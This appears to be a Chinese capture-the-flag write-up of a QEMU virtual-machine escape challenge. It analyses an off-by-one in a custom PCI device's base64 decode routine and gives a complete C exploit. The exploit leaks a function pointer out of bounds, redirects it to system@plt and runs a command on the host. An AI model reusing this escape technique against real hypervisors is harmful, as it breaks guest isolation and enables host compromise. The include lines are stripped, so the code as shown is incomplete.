【qemu逃逸】XCTF 华为高校挑战赛决赛-pipeline

前言

虚拟机用户名: root

无密码

设备逆向与漏洞分析

程序没有去符合, 还是比较简单. 实例结构体如下:

【qemu逃逸】XCTF 华为高校挑战赛决赛-pipeline_第1张图片

先总体说一下流程:

encode 为 base64 编码函数, decode 为 base64 解码函数. 然后 encPipe 和 decPipe 分别存放编码数据和解码数据, 分别有四个:

【qemu逃逸】XCTF 华为高校挑战赛决赛-pipeline_第2张图片

其中 EncPipeLine 中的 data 大小为 92, DecPipeLine 中的 data 大小为 64.

pipeline_mmio_read

【qemu逃逸】XCTF 华为高校挑战赛决赛-pipeline_第3张图片

这个函数就是去读取指定 Pipe 偏移处的字节. 这里解释一下:

先解释一下下面代码:

  if ( addr < sizea )
    return *((char *)&opaque->pdev.qdev.parent_obj.free + offset + addr);// (char *)&opaque->pdev.qdev.parent_obj.free => obj+8

 (char *)&opaque->pdev.qdev.parent_obj.free 其实就是 opaque+8, 为啥呢? 看图:

【qemu逃逸】XCTF 华为高校挑战赛决赛-pipeline_第4张图片

这下应该不言而喻了.

当 pIdx <= 3 时, 说明读取的是 encPipe[pIdx],  然后 offset = 96LL * pIdx + 0xAD0; 所以最后其实就是:

  if ( addr < sizea )
    return *((char *)&opaque + 0xA08 + 96*Pidx + addr);

opaque + 0xA08 就是第一个 encPipe[0].data 的起始地址. pIdx > 3 自己分析.

pipeline_mmio_write

往指定 pIdx 块的 addr 偏移处写一个字节

pipeline_pmio_read

读取 pIdx 的值或者读取 pIdx 块的 size

pipeline_pmio_write -- 关键函数

当 addr = 0 时则设置对应 pIdx

【qemu逃逸】XCTF 华为高校挑战赛决赛-pipeline_第5张图片

当 addr = 4 时则设置对应 pIdx 块的 size

【qemu逃逸】XCTF 华为高校挑战赛决赛-pipeline_第6张图片

最重要的还是下面这两个 base64 功能

当 addr = 14 时, 对 decData[idx] 中的数据进行 base64 编码, 结果存放在 encData[idx] 中.

【qemu逃逸】XCTF 华为高校挑战赛决赛-pipeline_第7张图片

这里的大小判断跑一下发现是不存在问题的

当 addr = 16 时, 对 encData[idx] 中的数据进行 base64 编码, 结果存放在 decData[idx] 中.

【qemu逃逸】XCTF 华为高校挑战赛决赛-pipeline_第8张图片

而这里的大小判断存在问题, 原因是 c 语言中的除法是向下取整的, 比如 1/5 == 2/5 是成立的.

这里可以实际跑一下:

【qemu逃逸】XCTF 华为高校挑战赛决赛-pipeline_第9张图片

可以看到当 encData.data 中的数据大小为 87 时, 计算出来大小为 64 是可以通过判断的, 但是实际上解码后是 65 个字节, 因为 decData.data 只有 64 字节的空间, 所以这里存在一个字节的溢出.

漏洞利用

这里一个字节刚好可以溢出到下一个 decData 的 size, 然后就可以实现越界读写了.

1 利用 base64 解码去溢出 pIdx = 6 的 decData 的 size 域

2 越界读 encode 函数地址, 计算 system@plt 地址

3 越界写使得 encode 函数指针指向 system@plt

4 写 cmd 到 decData 中

5 进行 base64 编码触发

exp 如下:

#include 
#include 
#include 
#include 
#include 
#include 
#include 

uint64_t mmio_addr = 0x00000000febf1000;
uint64_t mmio_size = 0x1000;
void * mmio_base;
uint64_t pmio_base = 0x000000000000c040;
void err_exit(char* msg)
{
        printf("[X] error at %s\n");
        exit(-1);
}


void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

void mmio_init()
{
        int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);
        mmio_base = mmap(0, mmio_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
        printf("[+] mmio_base: %#p\n", mmio_base);
        if (mlock(mmio_base, mmio_size) < 0) err_exit("mlock for mmio");
}

void pmio_init() { if (iopl(3) < 0) err_exit("iopl(3)"); }

uint32_t pmio_read(uint64_t addr) { return inl(pmio_base + addr); }
void pmio_write(uint64_t addr, uint32_t val) { outl(val, pmio_base + addr); }

void enc(){ pmio_write(12, 0); }
void dec() { pmio_write(16, 0); }

char mmio_read8(uint64_t offset) { return *(char*)(mmio_base + offset); }
void mmio_write8(uint64_t offset, char val) { *(char*)(mmio_base + offset) = val; }

void mmio_read(uint64_t offset, int idx, char* data, int len)
{
        pmio_write(0, idx);
        for (int i = 0; i < len; i++) data[i] = mmio_read8(offset+i);
}

void mmio_write(uint64_t offset, int idx, char* data, int len)
{
        pmio_write(0, idx);
        pmio_write(4, len);
        for (int i = 0; i < strlen(data); i++) mmio_write8(offset+i, data[i]);
}

int main(int argc, char** argv, char** envp)
{
        mmio_init();
        pmio_init();
        char data[256] = { 0 };
        memset(data, '/', 87);

        mmio_write(0, 2, data, 0x5c);
        dec();
        mmio_read(0, 7, data, 240);
        binary_dump("OOB DATA", data+4, 240);

        uint64_t system_plt = *(uint64_t*)(data+4+0x40) - 0x00000000003404F3 + 0x00000000002C0AD0;
        printf("[+] system@plt: %#p\n", system_plt);

        pmio_write(0, 7);
        for (int i = 0; i < 8; i++) mmio_write8(68+i, *((char*)&system_plt+i));

        char * cmd = "xcalc";
        mmio_write(0, 4, cmd, 0x40);

        enc();
        return 0;
}

效果如下:

【qemu逃逸】XCTF 华为高校挑战赛决赛-pipeline_第10张图片

你可能感兴趣的:(虚拟机逃逸,qemu逃逸,数组越界)